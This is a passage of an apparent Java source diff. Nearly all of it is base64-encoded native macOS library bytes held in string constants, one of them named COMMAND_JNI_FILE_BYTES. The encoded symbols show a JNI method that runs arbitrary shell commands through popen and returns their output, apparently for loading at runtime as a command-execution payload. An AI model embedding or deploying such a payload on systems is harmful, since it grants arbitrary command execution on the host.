gADANwAAAAAAAOYDAAAeAYAA4DcAAAAAAAD+AwAAHgGAAPA3AAAAAAAASwQAAB4BgAAwOAAAAAAAAN0EAAAeAYAAYDgAAAAAAABGBQAAHgGAAHA4AAAAAAAAoQUAAB4BgAAAOQAAAAAAADMGAAAeAYAAMDkAAAAAAADDBgAAHgGAAEA5AAAAAAAAJAcAAB4BgABgOQAAAAAAAEgHAAAeAYAAgDkAAAAAAACIBwAAHgGAAJA5AAAAAAAA2gcAAB4BgADwOQAAAAAAADIIAAAeAYAAgDoAAAAAAAB5CAAAHgGAALA6AAAAAAAAzAgAAB4BgADQOgAAAAAAACsJAAAeAYAA4DoAAAAAAACLCQAAHgGAABA7AAAAAAAA5gkAAB4BgACAOwAAAAAAAEIKAAAeAYAAsDsAAAAAAAC1CgAAHgGAANA7AAAAAAAAMgsAAB4BgAAAPAAAAAAAAF0LAAAeAYAAoDwAAAAAAACKCwAAHgGAAOA8AAAAAAAAswsAAB4BgAAAPQAAAAAAAN8LAAAeAYAAID0AAAAAAAAVDAAAHgGAAEA9AAAAAAAAiQwAAB4BgABgPQAAAAAAANcMAAAeAYAAcD0AAAAAAAAoDQAAHgGAAKA9AAAAAAAAVA0AAB4BgACwPQAAAAAAAK8NAAAeAYAAAD4AAAAAAAAFDgAAHgGAAGA+AAAAAAAAZQ4AAB4BgACAPgAAAAAAAMYOAAAeAYAAsD4AAAAAAAA6DwAAHgGAANA+AAAAAAAAuA8AAB4BgADgPgAAAAAAAPEPAAAOAwAAYD8AAAAAAAACAAAADwEAADA1AAAAAAAAJgAAAA8BgACQNwAAAAAAAEUAAAAPAYAAADcAAAAAAAByAAAADwGAAOA7AAAAAAAA0QAAAA8BgACAPAAAAAAAAB8BAAAPAYAA4DkAAAAAAABMAQAAAQAAAgAAAAAAAAAAXAEAAAEAAAEAAAAAAAAAAH0BAAABAAABAAAAAAAAAACeAQAAAQAAAQAAAAAAAAAA6gEAAAEAAAEAAAAAAAAAAC8CAAABAAABAAAAAAAAAABAAgAAAQAAAQAAAAAAAAAAXgIAAAEAgAEAAAAAAAAAAGUCAAABAAABAAAAAAAAAAB/AgAAAQAAAQAAAAAAAAAAkgIAAAEAAAEAAAAAAAAAAJ8CAAABAAABAAAAAAAAAAC1AgAAAQAAAgAAAAAAAAAAxwIAAAEAAAIAAAAAAAAAANoCAAABAAACAAAAAAAAAADhAgAAAQAAAgAAAAAAAAAA6QIAAAEAAAIAAAAAAAAAAPECAAABAAACAAAAAAAAAAAuAAAAKQAAACoAAAAvAAAAKwAAADEAAAAyAAAALAAAAC0AAAAzAAAANQAAADYAAAA3AAAAOAAAADoAAAA8AAAAPQAAAD4AAAA/AAAALgAAACkAAAAqAAAALwAAADAAAAArAAAAMQAAADIAAAAsAAAALQAAADMAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8AAAAgAF9KYXZhX29yZ19jb21tYW5kX2V4ZWNfam5pX0NhbGNfcnVuAF9fWk43Sk5JRW52XzEyTmV3U3RyaW5nVVRGRVBLYwBfX1pON0pOSUVudl8xN0dldFN0cmluZ1VURkNoYXJzRVA4X2pzdHJpbmdQaABfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTBfX2FsaWduX2l0QjZ2MTUwMDZJTG0xNkVFRW1tAF9fWk5TdDNfXzExNmFsbG9jYXRvcl90cmFpdHNJTlNfOWFsbG9jYXRvckljRUVFOG1heF9zaXplQjZ2MTUwMDZJUzJfdkVFbVJLUzJfAF9fWk5TdDNfXzEzMF9fbGliY3BwX2lzX2NvbnN0YW50X2V2YWx1YXRlZEV2AF9fVW53aW5kX1Jlc3VtZQBfX1pOU3QyMGJhZF9hcnJheV9uZXdfbGVuZ3RoQzFFdgBfX1pOU3QyMGJhZF9hcnJheV9uZXdfbGVuZ3RoRDFFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNmFwcGVuZEVQS2MAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUQxRXYAX19aU3Q5dGVybWluYXRldgBfX1pUSVN0MjBiYWRfYXJyYXlfbmV3X2xlbmd0aABfX1pud20AX19fY3hhX2FsbG9jYXRlX2V4Y2VwdGlvbgBfX19jeGFfYmVnaW5fY2F0Y2gAX19fY3hhX3Rocm93AF9fX2d4eF9wZXJzb25hbGl0eV92MABfX19zdGFja19jaGtfZmFpbABfX19zdGFja19jaGtfZ3VhcmQAX2ZnZXRzAF9tZW1zZXQAX3BjbG9zZQBfcG9wZW4AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRUMxQjZ2MTUwMDZFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFcExCNnYxNTAwNkVQS2MAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1Y19zdHJCNnYxNTAwNkV2AF9fX2NsYW5nX2NhbGxfdGVybWluYXRlAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUVDMkI2djE1MDA2RXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMUI2djE1MDA2SU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRVNBX0VFT1RfT1QwXwBfX1pOU3QzX18xMTlfX2RlYnVnX2RiX2luc2VydF9jQjZ2MTUwMDZJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFRUVFdlBUXwBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTRfX2RlZmF1bHRfaW5pdEI2djE1MDA2RXYAX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0VDMkI2djE1MDA2SU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRVNBX0VFT1RfT1QwXwBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTVfX3JlcEVMaTBFTGIwRUVDMkI2djE1MDA2RU5TXzE4X19kZWZhdWx0X2luaXRfdGFnRQBfX1pOU3QzX18xMjJfX2NvbXByZXNzZWRfcGFpcl9lbGVtSU5TXzlhbGxvY2F0b3JJY0VFTGkxRUxiMUVFQzJCNnYxNTAwNkVOU18xOF9fZGVmYXVsdF9pbml0X3RhZ0UAX19aTlN0M19fMTlhbGxvY2F0b3JJY0VDMkI2djE1MDA2RXYAX19aTlN0M19fMTE2X19ub25fdHJpdmlhbF9pZklMYjFFTlNfOWFsbG9jYXRvckljRUVFQzJCNnYxNTAwNkV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU2X196ZXJvQjZ2MTUwMDZFdgBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFMTFfX3JlY29tbWVuZEI2djE1MDA2RW0AX19aTlN0M19fMTE2YWxsb2NhdG9yX3RyYWl0c0lOU185YWxsb2NhdG9ySWNFRUU4YWxsb2NhdGVCNnYxNTAwNkVSUzJfbQBfX1pOU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFN19fYWxsb2NCNnYxNTAwNkV2AF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxNl9fYmVnaW5fbGlmZXRpbWVCNnYxNTAwNkVQY20AX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE4X19zZXRfbG9uZ19wb2ludGVyQjZ2MTUwMDZFUGMAX19aTlN0M19fMTEyYmFzaWNfc3RyaW5nSWNOU18xMWNoYXJfdHJhaXRzSWNFRU5TXzlhbGxvY2F0b3JJY0VFRTE0X19zZXRfbG9uZ19jYXBCNnYxNTAwNkVtAF9fWk5TdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxNV9fc2V0X2xvbmdfc2l6ZUI2djE1MDA2RW0AX19aTlN0M19fMTE3X19jb21wcmVzc2VkX3BhaXJJTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRVM1X0U1Zmlyc3RCNnYxNTAwNkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRTVfX2dldEI2djE1MDA2RXYAX19aTlN0M19fMTlhbGxvY2F0b3JJY0U4YWxsb2NhdGVCNnYxNTAwNkVtAF9fWlN0MjhfX3Rocm93X2JhZF9hcnJheV9uZXdfbGVuZ3RoQjZ2MTUwMDZ2AF9fWk5TdDNfXzExN19fbGliY3BwX2FsbG9jYXRlQjZ2MTUwMDZFbW0AX19aTktTdDNfXzE5YWxsb2NhdG9ySWNFOG1heF9zaXplQjZ2MTUwMDZFdgBfX1pOU3QzX18xMjFfX2xpYmNwcF9vcGVyYXRvcl9uZXdCNnYxNTAwNklKbUVFRVB2RHBUXwBfX1pOU3QzX18xMTdfX2NvbXByZXNzZWRfcGFpcklOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFUzVfRTZzZWNvbmRCNnYxNTAwNkV2AF9fWk5TdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfOWFsbG9jYXRvckljRUVMaTFFTGIxRUU1X19nZXRCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNGRhdGFCNnYxNTAwNkV2AF9fWk5TdDNfXzExMl9fdG9fYWRkcmVzc0I2djE1MDA2SUtjRUVQVF9TM18AX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxM19fZ2V0X3BvaW50ZXJCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFOV9faXNfbG9uZ0I2djE1MDA2RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOF9fZ2V0X2xvbmdfcG9pbnRlckI2djE1MDA2RXYAX19aTktTdDNfXzExMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUUxOV9fZ2V0X3Nob3J0X3BvaW50ZXJCNnYxNTAwNkV2AF9fWk5LU3QzX18xMTdfX2NvbXByZXNzZWRfcGFpcklOU18xMmJhc2ljX3N0cmluZ0ljTlNfMTFjaGFyX3RyYWl0c0ljRUVOU185YWxsb2NhdG9ySWNFRUU1X19yZXBFUzVfRTVmaXJzdEI2djE1MDA2RXYAX19aTktTdDNfXzEyMl9fY29tcHJlc3NlZF9wYWlyX2VsZW1JTlNfMTJiYXNpY19zdHJpbmdJY05TXzExY2hhcl90cmFpdHNJY0VFTlNfOWFsbG9jYXRvckljRUVFNV9fcmVwRUxpMEVMYjBFRTVfX2dldEI2djE1MDA2RXYAX19aTlN0M19fMTE0cG9pbnRlcl90cmFpdHNJUEtjRTEwcG9pbnRlcl90b0I2djE1MDA2RVJTMV8AR0NDX2V4Y2VwdF90YWJsZTAAAAAAAAA="; + private static final String COMMAND_JNI_FILE_BYTES = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVUiJ5UiB7EABAABIiwVmBwAASIsASIlF+EiJvWD///9IibVY////SImVUP///0iDvVD///8AD4RuAQAASIu9YP///0iLtVD///9IjZVP////6PQFAABIiYUI////6QAAAABIi4UI////SImFQP///0iLvUD///9IjTU+BgAA6P0FAABIiYUA////6QAAAABIi4UA////SImFOP///0iDvTj///8AD4T6AAAASI29IP///+j5AQAA6QAAAADpAAAAAEiLlTj///9Ijb1w////voAAAADolQUAAEiJhfj+///pAAAAAEiLhfj+//9Ig/gAD4RAAAAASI29IP///0iNtXD////oxwEAAOkAAAAA6a7///9IicGJ0EiJjRj///+JhRT///9Ijb0g////6CUFAADpagAAAEiLvTj////oOAUAAOkAAAAASIuFYP///0iJhej+//9Ijb0g////6M8BAABIi73o/v//SInG6NQEAABIiYXw/v//6QAAAABIi4Xw/v//SImFaP///0iNvSD////owAQAAOkAAAAA6RUAAADpRQAAAOkAAAAASMeFaP///wAAAABIi4Vo////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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA